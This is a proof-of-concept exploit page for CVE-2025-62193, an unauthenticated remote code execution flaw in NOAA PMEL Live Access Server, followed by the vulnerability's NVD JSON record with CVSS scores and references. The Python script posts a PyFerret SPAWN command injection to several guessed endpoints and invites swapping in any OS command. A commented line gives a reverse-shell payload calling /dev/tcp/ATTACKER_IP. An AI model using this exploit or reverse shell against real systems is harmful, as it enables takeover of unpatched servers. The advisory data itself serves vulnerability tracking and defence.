CVE-2025-62193

import requests # CVE-2025-62193 PoC - NOAA PMEL LAS RCE via PyFerret SPAWN command # Target: NOAA PMEL Live Access Server (LAS) # This PoC demonstrates remote code execution via PyFerret expressions target_url = "http://target-server/las" # Malicious PyFerret expression with SPAWN command to execute OS command # Replace 'whoami' with desired command payload = "SPAWN('whoami')" # Construct the exploit request # The exact endpoint and parameter name may vary based on LAS configuration params = { "variable": payload, # Alternative attack vector using different parameter "expression": payload, "cmd": payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } print(f"[*] Targeting: {target_url}") print(f"[*] Payload: {payload}") try: # Try different attack vectors for endpoint in ["/data", "/request", "/service", "/proxy"]: url = f"{target_url}{endpoint}" response = requests.post(url, data=params, headers=headers, timeout=10) print(f"[+] Request sent to {url}, Status: {response.status_code}") if response.status_code == 200: print(f"[*] Response preview: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # For reverse shell: # payload = "SPAWN('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1')"

{"cve": {"id": "CVE-2025-62193", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2026-01-15T17:16:04.347", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sites running NOAA PMEL Live Access Server (LAS) are vulnerable to remote code execution via specially crafted requests that include PyFerret expressions. By leveraging a SPAWN command, a remote, unauthenticated attacker can execute arbitrary OS commands. Fixed in a version of 'gov.noaa.pmel.tmap.las.filter.RequestInputFilter.java' from 2025-09-24."}, {"lang": "es", "value": "Los sitios que ejecutan NOAA PMEL Live Access Server (LAS) son vulnerables a ejecución remota de código a través de solicitudes especialmente diseñadas que incluyen expresiones PyFerret. Al aprovechar un comando SPAWN, un atacante remoto no autenticado puede ejecutar comandos OS arbitrarios. Corregido en una versión de 'gov.noaa.pmel.tmap.las.filter.RequestInputFilter.java' del 24-09-2025."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/NOAA-PMEL/LAS/blob/main/README.md", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://github.com/NOAA-PMEL/LAS/commit/de5f9237bfd4ac5085bcc49a6e30bbc9507ddb29", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://github.com/NOAA-PMEL/LAS/commit/e69afb1898ae7e69f3e047513fc1e5570373912b", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://github.com/NOAA-PMEL/LAS/compare/b4b7306..de5f923", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://github.com/NOAA-PMEL/LAS/tree/main", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-26-015-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-62193", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}]}}